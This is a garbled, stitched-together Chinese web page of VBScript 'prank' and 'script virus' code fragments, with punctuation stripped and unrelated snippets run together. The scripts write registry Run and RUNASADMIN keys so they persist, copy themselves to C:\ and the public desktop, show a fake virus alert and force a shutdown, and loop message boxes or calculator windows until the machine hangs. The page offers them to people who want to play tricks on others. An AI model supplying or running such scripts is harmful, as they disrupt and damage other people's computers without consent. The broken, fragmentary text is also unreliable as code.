1、代碼如下#39警告#39慎用，點(diǎn)擊否，出現(xiàn)刪除的情況，后果自負(fù)#39請(qǐng)先備份set fso=CreateObjectquotScriptingFileSystemObjectquotset ws=CreateObjectquotwscriptshellquotk=MsgBoxquot您是否現(xiàn)在安裝quot，vbyesno，quot溫馨提；wsregwrite quotHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\TARGETDIR腳本病毒加強(qiáng)版vbsquot，quotRUNASADMINquot，quotREG_SZquotwsregwrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\P；Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四個(gè) #39這個(gè)很強(qiáng)悍的vbs，藍(lán)屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；fWriteLineVBS #39寫文件內(nèi)容，該命令功能太簡(jiǎn)單，目前看來(lái)只能用于TXT文件 f；02 然后我們用Sublime打開vbs程序文件，在里面借助loop循環(huán)來(lái)不斷的輸出msgbox，如下圖所示 03 接下來(lái)我們雙擊vbs程序文件，運(yùn)行上面編寫的整人程序，你會(huì)看到如下圖所示的彈窗效果，我們點(diǎn)擊確定以后會(huì)不斷的彈窗 04；fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。

2、4在請(qǐng)輸入保存路徑文本框中輸入腳本病毒文件存放的位置后，單擊我要生成按鈕彈出提示框，提示用戶生成完畢5在制作成功后，打開設(shè)置保存的位置，即可看到生成的VBS腳本文件6右擊該文件，在彈出的快捷菜單中；Msgbox quot您的系統(tǒng)已遭病毒破壞，系統(tǒng)5秒后將自動(dòng)關(guān)機(jī)關(guān)機(jī)，請(qǐng)?jiān)陉P(guān)機(jī)后24小時(shí)重新啟動(dòng)quot，16+4096，quotWindows安全警報(bào)quotShell quotcmdc shutdown s t 5quot佛祖曰普度眾生，這樣就行 后面那一句代碼是用來(lái)關(guān)機(jī)的，VBS代；vbs解包代碼20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS；vbs整人代碼要可以用的 我直接COPY到記事本里，所以別打錯(cuò)了 #xE768 我來(lái)答 1個(gè)回答 #熱議# 公司那些設(shè)施可以提高員工幸福感？Hi村長(zhǎng) 20100908 · TA獲得超過247個(gè)贊 知道答主 回答量57 采納率0% 幫助的人355萬(wàn)。

3、1首先在電腦鼠標(biāo)右鍵 新建一個(gè)文本文檔2然后點(diǎn)開文本文檔進(jìn)行編輯，最重要的一個(gè)代碼就是msgbox，然后在后面添加想要說的話，但是要使用英文標(biāo)點(diǎn)符號(hào)，換行時(shí)候都需要在前面加上代碼，最后保存3保存好之后，對(duì)這個(gè)；wssendkeysquot%F4quot#39每次循環(huán)等待時(shí)間3000=3秒，以毫秒為單位的 wscriptsleep 3000 loop 想要停止它可新建文本mtxt改名mbat右擊編輯輸入 taskkill f im wscriptexe pause 保存 當(dāng)需要停止vbs時(shí)執(zhí)行一下m；=HKEY_CLASSES_ROOT\CLSID\2559a1f621d711d4bdaf00c04f60b9f0\Instance\InitPropertyBagquotCommandquot= quotParam1quot=VBS腳本實(shí)現(xiàn)整理磁盤碎片功能Set WshShell = WScriptCreateObjectquotWScriptShellquotDim fso， d。

4、xxvbs= 復(fù)制代碼 代碼如下On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot與 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wsh；xufsocopyfile WscriptScriptfullname，quotC\VBScript\一觸即發(fā)vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一觸即發(fā)vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current；代碼一無(wú)限彈出信息框 雙引號(hào)內(nèi)可以自行修改 do msgbox quot愛邱哥愛生活quotloop 代碼二打開N個(gè)計(jì)算器，到電腦死機(jī) et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代碼三電腦關(guān)機(jī) dim WSHshell set。

5、*Rnd+1msgbox joinpoint，quotquot25VBS刪除桌面IE圖標(biāo)非快捷方式。